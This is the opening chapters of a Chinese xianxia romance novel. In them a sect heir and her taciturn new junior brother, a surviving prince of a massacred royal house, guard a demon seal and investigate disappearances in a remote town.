《小师弟为何撩不动》
1. 师弟
“哎呦,少主饶命!”
平梁城外的一处土匪窝里。
光着膀子的彪汉被人一脚踹翻在地,胸口印着红肿的脚印。而他身侧,还零零散散趴了一地人。
“饶命?”苏折映一身青色衣裳,坐在铺着兽皮的石头墩上,一只脚踩上来,腰间挂着个黑百合吊坠也跟着响,她支起头,笑道:“你坏本少主名声的时候怎么就没想到过今天呢?”
她勾唇,回忆道:“恶贯满盈?地痞流氓?”
“不不不!天神下凡!光明磊落!”彪汉额头冷汗直冒,声音都带着颤。
苏折映点头道:“嗯,继续。”
彪汉以为自己的马屁拍到位了,面色一喜,立马继续道:“少主简直就是铁面无私、大义凛然、正气十足——”
苏折映回他个邪笑,道:“没让你继续。”
她说的是后面搬东西的弟子。
彪汉扭头,瞬间感觉喉咙发紧,一阵窒息感涌来。
一群穿着各色的修士正疯狂搜罗他积攒多年的家当,雁过拔毛,一个不留。
还说不是流氓?
这不就是流氓吗?!
“你们溟川屿就是一群流氓土匪!”彪汉怒声道,然而丝毫没人理会他。
苏折映又看向地上横七竖八躺着的人,若有所思道:“人也装乾坤袋带走吧。”
溟川屿正好缺几个杂役,刚好这些土匪个顶个壮实。
“你!”壮汉听完胸口剧烈起伏,咚一声倒地上了。
这下是真给土匪头气晕了。
“少主,东西都收好了,人也都带走了。”一个弟子恭敬道。
“你们先回去,我还有事。”苏折映罢手,起身时顺手抽了石墩上的兽皮,收到乾坤袋中。
此番出来是去平梁还玉于郁氏主君,端个土匪窝不过是顺手的事。
待一行人走完,苏折映才离了山窝。
这里离平梁不远,昨日听到外面传言说她横行霸道、恶贯满盈,便就去查了一番。
没想到会是这群山匪,打着她的名号抢劫不说,末了还贼喊抓贼再泼她一身脏水。
那她就只能顺手端了这土匪窝,为民除害了。
苏折映不紧不慢地晃悠到城门口,只是刚到便察觉不对了。
城上空阴云密布,沉重的黑铁大门没有如平日一般商客往来。
有人设下结界,将整个平梁城都与外隔绝起来,外人看不到城内的状况。
苏折映随手破开,眼前光景瞬变,一股热浪扑面而来,随后便是不绝于耳的尖叫声。
迎面飞来一个物块,她侧身躲开。
一条血淋淋的断臂被砸在地上,皮肉上数道剑痕交错,血肉模糊。
苏折映散漫着的神色聚变,闪身进去。
此时的平梁城,阴云蔽日,火光冲天。
急剧升高的温度灼烤着人们的面颊,火光映得人脸上泛着红。
人群四处逃窜,却仍躲不过修士的冷锋。
剑刃穿透血肉的声音不断灌入耳中,百姓们一个接一个倒下去。
苏折映抓住一个中年人,问道:“大伯,城中这是发生了何事?”
中年男子惊恐地一边挣手一边边吐出一串话,手挣开了,话却没说完就跑了。
苏折映没听清说了什么,打算再抓个人询问一番,转头一看,周围已经没有活人了。
不远处几个黑衣剑修杀完了人,靠着墙攀谈着。余光瞥见个青色身影,正要抽剑,下一刻那抹青色就消失不见。
苏折映没有多逗留便直直朝王宫去。
平梁繁荣,又是王朝都城,如今出了这档子事也未见驻城军,怕是凶多吉少了。
果不其然,只是站在殿门口便闻见浓郁的血腥味了。
曾经鼓乐喧天的地方,如今静得可怕。
自苏折映踏入宫中,一路上尽是残肢断臂,没有一具完整的尸体,血腥味更是愈发浓烈。
直到未央殿前,她跨入殿门的脚突然顿住,又慢悠悠收了回去,目光落到殿内。
红漆金雕柱旁,站着个一身黑衣的人,正不紧不慢地擦拭着剑身上的血,而他脚下就是个红得发黑的血泊。
黑衣人抬眼,整张脸都藏在了兜帽里,但苏折映依旧能感觉到他犀利的目光,带着兴味打量着她。
那人手里的动作没停,等剑被擦得锃亮,他收了剑,直直朝着苏折映走过来。
两人擦肩时,黑衣人拉低帽檐,哑声道:“小少主,幸会。”
声音干哑嘲哳,让人听着很不舒服。
哐当——
刚刚还被细心擦拭的利剑,被他无情丢在脚边。
“特意给小少主留了见面礼,希望小少主喜欢。”黑衣人喉咙里发出一阵怪笑,跨出了殿门。
苏折映暗骂一声有病。
她可不记得认识这么一号人,伪装得这么严实,莫不是哪个宗门的长老?
算了,管他什么老呢。
她在殿中检查了一番,没有任何打斗痕迹,几乎是一场单方面的虐杀。
最终在大殿的后堂找到了人,一身黑袍金纹的男人被一剑贯心,满布褶皱的面颊上带着不甘和悲愤,他怀中还死死抱着一个同样浑身血污的清丽女人。
郁氏王族的主君和君后。
也是唯二没有被分尸的人。
黑衣人口中的礼物大概就是这个了。
苏折映俯身,取下怀中的玉令,系在了男人腰间,又替两人整了衣冠,道:“师父命我向郁氏还玉,此番,也算是完成了。”
外面火势不断加大,殿内已经能隐隐感受到灼热,再过不久便会烧入宫中。
她转身出了王宫。
出城时,却在巷口撞见了个疯子。
见人就杀。
也不对。
他似乎只杀修士。
那疯子一身黑袍金纹的衣裳看着体面的很,如果忽略掉一身血的话。
她惊疑一声,疯子闻声看过来,手中的剑利落地从修士胸口抽出,鲜血随着他的动作溅出,染了他一身。
阴郁的目光落到苏折映身上,他双眼殷红,显然已经杀疯了,二话不说,提剑就向她杀来!
“喂!疯子!”苏折映骂道。
我惹你了吗?
疯子不语,只一味提剑向她刺来。
苏折映随意躲开,青色衣衫快得只剩下一片残影,她腰间挂着的吊坠随着动作的摆动,叮当作响。
那疯子见状神色更加狠厉,招式也更凌冽。
发现她只是一味躲闪,他攻击的角度开始变得刁钻。
剑光一闪,趁苏折映不备直逼她右眼,但下一秒就被一团灰雾包裹,停滞不前。
灰雾顺着剑身向剑柄蔓延,他收剑向一旁挥去,灰雾瞬间溃散,再次攻来。
“好剑!”苏折映舔了一下发干的唇,兴味道。
火势愈发大了,难得的,苏折映不想走。
“喂,疯子。”苏折映用手接下一招,趁着间隙问道:“认真打一场?”
没想到这疯子修为虽不如她,但剑法却不错。也难怪能杀这么多修士了。
他没说话,低眸时一抹亮光闪过,瞥见那黑乎乎的吊坠时,他神色一怔,突然停手,收了剑就转进巷子里,不见踪影。
苏折映:?
算了,跟疯子计较什么。
*
城外的修士依旧不少,刚到城门就被拦住了。
菩提宗弟子一身白衣,面纱覆面。她瞧了眼苏折映,把手里的留影石递出来,问道:“可有见过此人?”
留影石里,少年冷漠的脸模糊不清,但一剑一人的动作却行云流水,不少低阶修士倒在剑下。
苏折映认出来是暗巷口的那个疯子,笑道:“未曾见过。”
女修二话不说,收起留影石就找下一个人问,周围的菩提宗弟子都在挨个盘问。
苏折映伸了个懒腰,回到土匪窝附近,挑了处宽敞地儿。
一道雾团打向树
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干,青叶子簌簌往下落。她拿了几片,裹着玄力射向四周布下传送阵。
如今她师父交代完的事算是完成了,便直接回溟川屿。
一个人尽皆知的——
隐世宗门。
地处大陆最南边的荒山上,紧邻溟川河和阴魂林界。
为什么会人尽皆知?
当然是因为穷了!
实则不然。
苏折映站在一块插进地里的大木牌前,木牌看着有些年了,露在外面的两角不知道被什么东西啃了两个缺口,牌上还歪歪扭扭地写着“溟川屿”三个大字。而木牌后面却不见一扇大门,甚至大殿都没有。
越过木牌,又绕过几个弯后才豁然开朗,到了玉阶长梯,地上潮湿,一旁植了不少灵植。
长梯弯弯绕绕,没入云间,望过去便能看到云雾里隐着的高耸楼阁。
阶下坐着的两个弟子,见苏折映过来,熟络地打着招呼:“少主回来啦?宗主也回来了,在前殿等着你呢。”
“他老人家怎么回来了?”苏折映诧异道。
她师父常年云游在外,已经好几年不曾回来了,交代任务也只是靠着传音令告诉她一声。
两弟子显然也不清楚,其中一个挠着头,回忆道:“我们也不是很清楚,但宗主还带了个少年回来,像是新收的弟子。”
“我知晓了。”苏折映点点头,直接去了前殿。
溟川屿虽坐落荒山,但宗门内玄气并不匮乏,反而比外界更充盈。常年绿荫鸣蝉,只有芳春季夏。
前殿就门边就载着蓝花楹,此时开得正茂。
苏折映还没进去,就先听见殿中的人说道:“我那个徒弟啊,不听管教!不思进取!不可理喻!不——”
“不什么?”苏折映笑着踏入前殿,对着主座上青年模样的男子,皮笑肉不笑道。
“不、不尊老爱幼!”
无常道人嘴边的话打了个弯。
苏折映环视一圈,瞥见无常道人案前的纸箴,白纸黑墨上写着郁秋冥三个字。
她眉头微蹙,传言郁氏还有个从未露面的老幺,难道是真的?
苏折映看到了那个被带回来的少年,黑衣墨发,背对着她,看着有些眼熟。
她便挑了他身侧的位子坐下,继续问道:“还有呢?”
“还有?你还想有什么!”无常道人道。
“没了?那就聊聊这位……小师弟?”苏折映转头看向身旁低着头的少年。
闻言,少年也抬起头,目光交汇,两人皆是一怔。
还真是巧了。
这不是平梁城的小疯子吗。
郁氏皇子?
有点意思。
无常道人轻咳一声,介绍道:“这位是——”
“郁秋冥?”苏折映突然凑近,笑道。
少年点头,还算客气。
无常道人瞪她一眼,给郁秋冥介绍道:“这位是你师姐苏折映。”
郁秋冥依旧是对她点点头。
苏折映有些失落,还想听小疯子叫一声师姐呢。
无常道人又匆匆交代几句便走了。
大概又是打着云游的名号寻了个清净地儿睡觉去了。
苏折映见郁秋冥还坐在那,有意搭话:“小师弟是郁氏老幺?”
郁秋冥沉默。
苏折映又道:“小师弟还打吗?”
郁秋冥依旧沉默。
苏折映继续:“小师弟?”
郁秋冥还是没开口。
苏折映没辙了,她勾勾手指,几个冒着灰雾的小花妖从掌间窜出,一上一下地朝郁秋冥飞去。
小花妖贴上他衣袖,顺着向下,溜到虚垂着的指尖。
苏折映勾手,小花妖们在他手中打了个旋。
被对方察觉到,下一秒指尖轻捻便化成了灰。
她勾手,又是几个小花妖爬飞去。
不过这次,郁秋冥转过头,黑沉的双眸盯着她,而后当着她的面抬手碾碎了花妖。
2. 风云
苏折映眉梢一挑,张口欲言,脚下却突然一阵动荡。
案上的笔墨纸砚叮铃哐啷落了一地,她手边的茶盏亦是震颤着砸下来。
苏折映立刻起身,门外已经有弟子进来了,紧张道:“少主,封印好像松动了……”
她带着郁秋冥和那弟子出了前殿。外面已经聚了不少弟子,乌泱泱一片,花红柳绿的。
一个赤色衣衫的弟子问道:“少主,宗主呢?”
“师父他刚走。”苏折映也是皱着眉头。
人群一下子躁动起来。
“不是吧,宗主前脚走,封印后脚就松动了。”
“这次震荡这么剧烈,溟川屿不会塌了吧……”
“其他人说话就行了,你还是闭嘴吧!”
苏折映被吵得头疼,厉声道:“各自归院。小师弟随我去看看。”
“是。”
刚聚起的人群哗啦一下散个干净。
苏折映转头对郁秋冥道:“走吧,小师弟。”
这事本不该叫上他,不过他如今成了无常道人的二弟子,那就有了这份责任。
溟川屿隐世百年,历代弟子只为一件事——
看守魇魔封印。
没错,溟川屿下压着魇魔一族。前大陆魇魔横行,妖物肆虐,但最终被大陆的守护神封印在南边的一座荒山下,设下法阵,镇压千年。
可随着时间推移且数万魇魔日复一日消耗,法阵早就没有从前那般能完完全全将他们镇压。于是,最早破道的无常道人,在此建立了溟川屿,看守百年,直到苏折映被收归门下。
她无父无母,幼时被无常道人从北颠捡回来,成了看守封印的第一任弟子。
不过,现在又多了一个。
苏折映将郁秋冥带到后崖,阴冷潮湿的风带着腥臭味从裂缝下窜出来,郁秋冥下意识皱眉。
苏折映像是习惯了,一边带着他往缝隙口大的方向走,一边解释道:“溟川屿镇压着魇魔是人尽皆知的事,但几乎没多少人知道,法阵力量衰竭,这么多年是靠着无常道人维持的。”
这也是为什么近些年魇魔频出,越发猖狂。
不少低阶魇魔从封印逃逸出,甚至有些高阶魇魔为了从下面出来不惜自毁修为。
如今的法阵将大多高阶魇魔困住,反而困不住低阶魇魔,他们魔气不重,稍微藏匿气息便容易逃出。
大裂缝口,腥臭味更重了。
两人到时,恰逢几只低阶魇魔窜上来,深紫色一团粘稠物,散发着恶臭。
苏折映没有配剑,便随手抽了郁秋冥的,在他阴郁的目光下,握着剑掂了两下,夸赞道:“真是把好剑。”
蕴含着玄力的一剑挥去,几只魇魔被一分为二,重新落了下去。
她将剑插回他的鞘中。
突然,苏折映身影一晃,身后罡风袭来。
她转身就要接上,却被郁秋冥先一步拉开。
“没想到小师弟还是挺关心师姐的。”苏折映趁机打趣道。
郁秋冥默不作声,抽剑对上一团紫色雾气,却发现毫无作用,正要再试一次,被苏折映按下,她摇头,道:“这是高价魇魔,单凭剑意很难将其灭掉。”
紫色雾气上下跳动,逐渐凝聚成一个高挑的女人,深紫色头发长到脚裸,面容苍白枯槁,像个瘦骨嶙峋的老者,她打量着苏折映,轻蔑道:“你就是看守封印的小丫头?区区玄关中期。”
话落,一股更强劲的罡风朝苏折映打来,她亦轻蔑笑道:“区区玄胜也敢在我眼皮底下爬出来。”
玄关是比玄胜低了一大境界,可她主修却的是混元一途。
她混元即将大成,对付个玄胜期的魇魔绰绰有余。
灰色雾团几乎是瞬间将的攻击击溃,强大的冲击破开她的抵挡,直直冲到她胸口!
郁秋冥抓住时机,玄力附上剑身,与苏折映的雾团同时贯穿女人的身体。
她瞪大眼,作势要逃,苏折映飞身过去一脚将她踹回了裂缝。
踹完还颇为嫌弃的在地上蹭了蹭鞋。
苏折映重印巩固了法阵,对郁秋冥道:“先将此事禀告给师父。”
郁秋冥颔首,等着她去汇报。
谁知苏折映却突然递来一个吊坠。
黑色的百合,花芯朝下,末端还坠了几颗剔透的白色珠子,她拿着晃了两下。
叮当作响。
很吵。
郁秋冥没接。
“拿着。”苏折映直接塞进他手里,“这是传音令…”
苏折映有些心虚,她嫌之前的传音令难看,就自己改了,当时还没想到会给男子。
“爱要不要。”她皱眉道。
说完,快步离开了。
郁秋冥垂眸,盯着手里的吊坠半晌,最终系在了腰间。
他回到溟川屿时,苏折映已经在和无常道人联系了。
“封印松动了,今日逃出来的那个高阶魇魔没有压制修为就能出来。”
“为师知晓了,只怕是不止这一只。”无常道人叹气道。
苏折映皱眉,“什么意思?”
“近日大陆不太平,知道方城吗?”他问。
“知道。”
溟川河外最近的一处城,城小人多,但地处偏僻,又离阴魂鬼界相近,那里并不繁荣。
“那里最近频频有百姓失踪,你带着你师弟去看看。”
“方城不是归青冥宗管的么?”
他们溟川屿也要参上一脚?
无常道人:“为师怀疑是魇魔在捣鬼。”
苏折映了然。
也是,若是魇魔,那便与溟川屿有关系了,毕竟是他们看守不当才引起事端。
“我与小师弟今日便动身。”苏折映瞥向他,一眼就瞧见了腰间的黑百合吊坠,眉梢染上笑意。
说完,她拿着手中一模一样的吊坠在他面前抛了两下。
郁秋冥下意识摸了下自己腰间那个。
苏折映笑眯眯的,故意道:“忘了告诉小师弟,这俩是一对的。”
才怪呢。
他顿住,眉目阴郁,一声不吭走开了。
苏折映追出去,喊道:“小师弟,等等师姐!”
不是吧,这就跑了?
等她追过去时,郁秋冥已经在山门口了,看样子是要御剑过去。
他见苏折映没有拿剑的意思,问道:“你的剑呢?”
苏折映随意道:“我没有剑。”
她虽修双道,但却更偏向混元一道,不需要剑或者法器作为载体。
“小师弟带我去?”苏折映问。
郁秋冥跟僵的跟木头棍子一样,一动不动。
苏折映转身,布下传送法阵,这个比起御剑更快也更省力。
却不知,在她转身后,郁秋冥抽出剑打算带她。
然而,金光一闪,阵成。
两人身影一起消失在山门。
眨眼间便到了溟川河,而方城就紧邻着这里。
苏折映转脸看到郁秋冥神色有些
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古怪,忽地凑近他,笑道:“小师弟这怎么了?”
“无事。”郁秋冥撇过脸,神色不明。
苏折映端着下巴看他半晌,最终越过他,道:“走吧,再往前便是方城。”
郁秋冥默默跟上。
不同于其他城中热闹,两人自踏入城中便没见到人,摊位稀稀拉拉地被丢在街上,苏折映随手一摸,手上便沾上不少灰,想来已经被搁置很久了。
城里所有的商铺宅邸都大门紧闭,街道门可罗雀,时不时会有几只低阶小兽过来翻找着摊位上有没有遮盖着的食物。
如果不是知道这里的百姓没有离开,只怕会将此视为一座空城。
两人彼此对视一眼,默契地分开去敲门。
苏折映转身去了最近的一家,是个酒肆,屋门口摆了几张旧木桌,上面还放着酒坛子,隐隐能看见里面盛着的浊酒。她匆匆撇了一眼,便去敲了门。
只敲了三下,见没什么动静,就去了下一家。
一连十几家下来,毫无所获。没有一家开门或者回应的。
郁秋冥同样摇头。
“走吧,看来他们不愿意出来。”苏折映靠在一家衣坊门边,示意郁秋冥往另一边去。
郁秋冥颔首,随即又看向身后城门的方向,道:“师姐有没有觉得天阴沉了些。”
“是有些。”苏折映同样看了一眼。
先不说两人出溟川屿时还是烈日炎炎,方才踏入城中也看见太阳,不过是一炷香的功夫便阴沉得像是要下雨。
“先去城主府问问。”压下疑问,郁秋冥先一步动身。
苏折映不紧不慢地跟着在他身后,却是在想方才那几个酒坛子。
原本就身着黑衣的两人,在这昏沉的城中更多了几分诡异。
个子稍高的少年侧握着剑,一马当前;稍矮些的少女低眸凝思,不急不缓。
因着城小,没什么弯弯绕绕,一盏茶的时间就到了。
说是城主府,但与城中百姓的民宅别无二致,无非多了个“城主府”的牌匾。
常见的红木和青砖垒建而成,许是建的时间久了,木门红得发黑,门前两只狻猊却是头向内。
看得苏折映不自觉蹙起眉梢。
谁家狻猊会如此摆放?
向来是雌雄一对,狮头向外。
这城主倒好,放两雌狮不说,狮头还是向内的。
她越过两只狻猊去叩门。
叩叩叩——
苏折映只叩了两三下,就听见门内传出来的稚嫩声音:“别敲了别敲了,还没到放粮的时辰。”
正靠着门板打盹的门童以为是城里的百姓来讨要粮食,嚎了一嗓子想将人打发走。
不成想叩门声只是停了一下,便又开始响了,而且比前一次声更重。
门童搓搓眼,不耐地开了门,这才发现来的大概不是城里的百姓,再一看两人一身黑衣,衣摆上金丝勾勒出云卷,个顶个的气质不凡。以为是青冥宗派来的内门弟子,立马醒了神恭敬道:“哎呦,原来是大人们到了,城主可就等着你们呢。”
门童个子矮,只看见并排的苏折映和郁秋冥,以为后面还有人,连忙侧开身子让路。
两人心知这门童是认错了人,但也没拆穿,就这么理所当然地进去了。
等两人进去后,门童才瞪大了眼。
青冥宗派来的就……两个人?
眼见两人就进了前堂,门童赶紧去后院唤他的城主大人。
可算是把人给盼来了。
3. 方城诡事(一)
门童只是个六七岁的小孩,又没见过青冥宗的弟子,自然看不出真假。
而方城城主就不一样了,方城属青冥宗地界,虽然离了青冥宗八丈远,但也出身青冥宗,自是一眼就能看出来。
方无言笑着拱手,左手的素色折扇被合起别在腰间,恭敬道:“二位大人莅临小城,方某待客不周。敢问两位大人芳名?”
青衫棉布,袖口上还纹着绿竹,俨然一副书生模样。他清秀的脸上是肉眼可见的疲惫,甚至眼角有着淡淡的褶皱。
“苏折映。”大大方方报了自己的名字,还不忘介绍郁秋冥。
“这是我弟弟,苏郁。”
郁秋冥虽是郁氏小皇子,但从未被向外介绍过。倒也不必担心看出来什么便没有去化容。
但这郁氏大陆却只郁氏皇族一家,所以只能让小师弟跟她姓了。
“弟弟”郁秋冥抿着唇出声道:“苏折映,我长你半岁。”
“那又如何。”
师弟不也是弟弟吗。
苏折映见他又不说话了,转头笑吟吟问道:“请问城主大人贵庚?”
方无言愣了下,没想到话题会跳转这么快,便又笑道:“在下今年二十有四。”
苏折映轻啧一声,摇了摇头,道:“看不出来啊……”
“看着倒像有四十来岁了。”
以为要夸他年轻的方无言:“……”
“让二位大人见笑了。”方无言也没把苏折映的话放心上,见两人没有回答他的意思,又自顾自说起来:“我看二位大人气质不凡,既是非青冥宗弟子,想必也是某个大家族的吧。”
见少女点头,他脸上的笑意也多了不少。
方无言也不蠢,两人既来,便是为城中诡事,立马便将最近的事细致地讲述了一遍。
听方无言的讲述,苏折映在心里也猜出了个大概。
城里出了这么大的事,身为城主却束手无策,只能连夜向青冥宗宗汇报的此事,青冥宗宗主也说了会派一些内门弟子前来处理。
但一连几日过去,迟迟不见青冥宗弟子,随着失踪的人越来越多,他只能禁令百姓在家,每日酉时各户派一健壮男子来领粮。
因为要顾及全城,所以每日发放的粮食只能保证他们饿不死,但不乏贪心的想从这里多讨点,毕竟方无言是出了名的耳根子软,之前也有称家中老母重病多讨了粮的,随后越来越多的人讨上门来,不给就翻墙强入,越发恶劣,这才有了刚才门童驱逐一说。
至于失踪一事,说来也奇怪,起初只是一猎户去往溟川河附近的林子里捕猎,回来时提了不少猎物,还兴冲冲地跟妻儿分享自己多么幸运猎到了这么多。谁诚想第二天一早,他妻子就发现丈夫不见了,但好在留了句话说是去溟川河捕猎,妻子便放心在家张忙着卖肉,可直到傍晚也不见人回来,这才赶忙报了官。人还没找回来,就又收到城中有人失踪的消息,男女老少皆有,毫无规律可循。
“这么说,第一个失踪的猎户最后是去了溟川河?”苏折映问道。
方无言点头,但还是严谨纠正道:“他留的信上是这么说的。”
尽管没有明说,但其实他打心底里是怀疑溟川屿的。只是溟川屿早就隐世,他毫无证据。
“假的。”郁秋冥低头看着剑,冷声道。
“为何?”方无言问道。
不过刚开口就被门童打断了,阿臻急匆匆跑进来,提醒道:“城主,酉时了。”
该发粮了。
几人到门口时,外面早就围了不少人,最外围的人还在陆陆续续增多。
说是要来健壮的男子,但其中老人女人皆有。唯一相同的是,每个人面容枯槁,眼神暗淡麻木,只在看见抬出来的粮食时闪烁着渴望,甚至……疯狂。
门童熟练地接过一个厚厚的账本,站在门前嚎道:“老规矩,一户一人,一人米三升。”
话音一落,百姓们蜂拥而上,两名壮士立刻挡在前面。
“排队排队啊,每户都有,大家不要急!”
“我先来的!”
“你又没排队,不做数!”
“我家孩子水肿,能否让我先去?”
“只你家孩子水肿?我家的也是!”
“还有我家!”
“…………”
场面混乱,门童的声音就显得格外小,他扭头就要去拿锣。
苏折映随手召出一朵灰色大花,抛向人群。
砰——
众人只听见什么东西炸开了,随后豆粒大的雨点砸了下来,带着尸体腐烂的臭味,令人作呕。
人群一下子就安静下来了,只剩此起彼伏的呕吐声。
知道作俑者的都看向了苏折映。
方无言神色古怪,问道:“大人这是炸了何物?”
“尸花啊。”她也不藏,说着手里又多出来一朵尸花,花瓣很多,但也很丑。
尸花,顾名思义,从尸体里汲取养分生长出来的,自带尸臭。通体白色,只有极其特殊的情况下才会长出灰色,也不知道她手里的是在哪长的,灰得都要发黑了。
郁秋冥和方无言不动声色地站远了些,只有门童还傻站在一旁满脸崇拜。
“姐姐好厉害!”
苏折映朝他笑笑,将尸花递给他,“想不想玩?姐姐送你。”
门童也是毫不客气,道谢后伸手就要拿,被方无言及时拦下。
“大人就别逗阿臻了。”方无言笑道,转头又催促他,“还不快去发粮。”
“哦对,差点给忘了。”阿臻一拍脑门就撒丫子跑开了。
经苏折映这么一炸,百姓们个个闭口不言,老实排起了队。
阿臻脸上的笑容就没消失过,第一次发粮这么轻松,唯一不好的就是感觉今天臭了点。
直到最后一个人离开,阿臻将手中的账本交给了方无言。
里面列出了每日领粮的百姓,如果再次来便在名字后添上一笔,为了以防一家人领两份米,他还特意为每户人家做了标注。
倒是个心细的孩子。
溟川屿就缺这样的小孩。
眼见苏折映看阿臻的目光越发不善,方无言轻咳一声,笑道:“天色不早了,二位大人若不嫌弃便在小人府中先住下,明日再着手调查如何?”
“方城主看样子并不着急。”郁秋冥漠然道,还不忘扯了一把苏折映。
后者收回目光,顺着他的力道靠过去,又被他推正。
“哈哈大人这话说的,方某自是着急的,不过都耽误了这么久,也不差这一夜了。”方无言腰间的折扇不知何时又拿回到手中,“唰”得一下抖开摇了几下。
素色扇面只有只有一个大大的“民”字。
“没想到方城主竟如此爱民。”苏折映看见扇子,调侃道。
吓得他唰一声又收了起来,“让大人见笑了哈哈。”
“那便听方城主的,先休息一晚。”苏折映客气道。
夜里,苏折映避开府中侍卫,溜进了郁秋冥院中。
她掀开窗子,随意趴在窗边上,见郁秋冥在桌边喝茶,敲了敲窗沿人,灿声道:”走啊小师弟,去喝酒。”
“无聊。”郁秋冥淡声回复,转回头却发现手中的杯子被什么东西扯着往外拉。
熟到不能再熟的小花妖分出一枝叶子卷上杯沿,正准备将另一枝叶子卷上他握着杯子的手指。
郁秋冥毫不留情撇开了它,还不忘将它化成了灰。
苏折映扬眉,啧
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声道:"还是一如既往地不留情面。”
话刚落,郁秋冥便起身走了。
苏折映还没反应过来,就听他道:“不走吗?”
“走!”苏折映立马走到他身边就要哥俩好地去勾肩膀,被郁秋冥轻松避开。
“男女有别,师姐。”
苏折映可没那么多条条框框束着,她笑着“霸王硬上钩”,硬是微踮起脚勾上去了。
“所以呢?”她疑惑道。
男女有别,所以呢?
“所以你我之间……”解释道一半的话又被咽了回去,“无事。”
好在没走几步她就放下了,身边的人头明显低了不少。
大概是踮脚走太累了。
郁秋冥没多想,苏折映却是一个箭步冲向前方。
城主府门前盘坐着一个小孩,眼前不过开春,但夜里并不冷,小孩就背靠着大门打盹。
突然感觉面上一阵凉风扫过,阿臻迷迷糊糊睁开眼,就被眼忽然出现的脸吓得一阵惊呼,“城主大人救命,有鬼啊啊啊!!”
“叫什么叫!没有鬼。”苏折映耳朵嗡嗡,连忙捂上他的嘴。
等阿臻冷静下来,才拿开手。
“是姐姐!”阿臻睁着大眼,兴奋道。
又看到她身后的郁秋冥,明显没有了方才的兴奋,客气道:“苏公子。”
郁秋冥点头,算是打过招呼。
“姐姐是来找我玩的吗?”阿臻仰头问道。
“嗯……”苏折映含糊了一声,问他:“诶,你叫阿臻是吧?”
她弯下腰,打量一圈这个小屁孩。
“是的。那姐姐叫什么名字?”阿臻眼里满是崇拜。
“苏折映。”她顿了一下,又解释道:“折枝欲寄欢情映。”
阿臻依旧似懂非懂。
倒是抱剑低着头的郁秋冥望过来,有些诧异。
不过苏折映背着身对他,没发觉他的异常。
她还在对着阿臻说道:“小孩,我观你印堂明润,骨骼清奇。要不要跟着姐姐去修仙呐?’”
苏折映笑得不羁,阿臻哪里见过她这般漂亮的姐姐,一时怔愣也没听清说了什么。
她又问了一遍,还强调道:“修仙者不骗普通人的。”
“不要。”阿臻一口拒绝,急匆匆跑了。
看着像是去找方无言告状了。
“怎么就跑了?”苏折映嘀咕一声,想着还有事就没深究。
说是去喝酒,但方城根本就没有喝酒的地儿。
苏折映把他带到了白日的那家酒肆门前。
孤零零的酒坛子依然摆在桌上,他走过去看了一眼,酒坛里浑浊的液体上蒙了一层灰。
他看向苏折映,道:“喝酒?”
“怎么会,老头不许饮酒。”苏折映正色道。拿起酒坛子晃了晃,递到他面前,“闻闻。”
郁秋冥不用刻意去嗅就有一股味道飘了过来,顿时后退几步。
“什么味道?”她问。
“霉味。”郁秋冥皱眉,又补充道:“很腥。”
苏折映肯定道:“烧酒。”
普通粮食酿的酒长时间搁置后的气味不是酸败便是腐臭,可烧酒不一样,长期放置也只有霉味或者水腥味。
“方城偏僻,也并不富裕,不应该有烧酒。”郁秋冥道。
“是啊,那这的酒是哪里来的?”苏折映若有所思,“漏了什么。”
她将今日见到过的人回忆了一遍。
百姓、侍卫、阿臻、方无言。
不。
“漏了一个。”他答道。
苏折映勾唇,是漏了,漏了一个自始至终都没出现甚至被提及到的。
“城主夫人。”
4. 方城诡事(二)
方无言将人安排好后就匆匆回了屋里。
推开门,一股苦涩的药味扑面。简陋的小屋里只简单置下了一张木桌和一张软榻。
方无言一眼就看到了半卧在床的女人。
她面色苍白,几缕凌乱的发丝贴在毫无血色的脸上,昏黄的烛光在她脸上投斑驳的影子。
孟澜也看见了他,朝他笑笑。她张了张嘴,想说话却被一阵剧烈的咳嗽打断。
“阿澜,今日是不是没有喝药?”方无言立马关了门,走到床边坐下。
床边放着已经空了的碗,看着像是喝完了药。
方无言却是走到床尾的绿植旁,云竹叶上沾着几滴水渍,泥土湿漉漉的,他俯身闻了闻。
有很浓的药味。
阿澜又把药倒掉了。
“一会儿我让人再去煎一副药。”方无言没生气,像是习惯了她倒药。
孟澜摇摇头,声音沙哑:“无言,别把钱浪费在我身上了。城里的百姓更需要这些钱,我自己的……咳咳身体,我清楚。”
“没事的,阿澜。”方无言扶她躺下,温柔道:“今日方城来了两位大人,青冥宗的弟子过几日也会到,方城的事很快就会解决了。”
“两位大人?”孟澜疑惑道。
“嗯,虽然不知是何宗门子弟,但想来也不会是什么简单的人物。”方无言摸摸她的头,“等方城的事解决了,我们就去万象宗治病。”
“就算不知是何人士也不可怠慢了人家。”孟澜道。
“这是自然。你先休息会儿,我去让人煎药。”方无言起身,给孟澜留了盏灯就出门了。
虽然与孟澜同为夫妻,但自从方城出事后她的父母也失踪了,她也染了怪病。为了让她好好养病就分房睡了。
不过刚出去没多久,就瞧见树底下两个熟悉的身影。
方无言出声道:“大人?”
两个黑影动了,从阴影里走出来。
赫然就是从酒肆赶回来的苏折映和郁秋冥。
“方城主这么晚怎么还在外面?”苏折映笑吟吟问道。
“方才去看望一眼我夫人。”方无言坦然道。“二位大人看着像刚从外面回来?”
“嗯,陪我弟弟去喝酒。”苏折映睁眼说瞎话,还颇为揶揄地看郁秋冥一眼。
大半夜的,还出了这么诡异的事,外面哪会有酒肆。
郁秋冥抱臂瞧她一眼,沉声道:“办事。”
“那就不打扰二位大人了。”方无言急着去吩咐煎药的事,抬手就要告辞。
“别急着走啊方城主。”苏折映笑道,没拦他,但地上窜出几条藤蔓缠住了他脚腕。
“时候还早,坐下聊聊?”
方无言叹口气,知道没得商量。把阿臻叫来帮他吩咐一下煎药的事后,带着两人回了他的屋子。
三人围坐在桌边,方无言将门窗关好。
他询问道:“两位大人想问什么?”
郁秋冥看她一眼,苏折映挑眉,抬手布下一道阵法。
他这才开口道:“方才听方城主吩咐煎药,可是城主夫人身体抱恙?”
“是她。”方无言难得收了笑,苦涩道:“我与阿澜十九岁相识,那是她还是方城的大户人家,我不过是个刚到方城的穷书生。”
孟澜是个很有才华的女子,方无言也是满腹经纶。两人相互被彼此吸引,虽然方无言是个穷小子,但孟澜父母并不嫌弃他,两人很快相恋。
方无言二十一岁时选拔成为城主,他也终于有能力娶回了自己的爱人。在两人带领下的方城,百姓虽然没有大富大贵,但也是安居乐业。可好景不长,几月前从那个猎户失踪开始,便不断有人失踪,孟澜的父母也没能幸免。
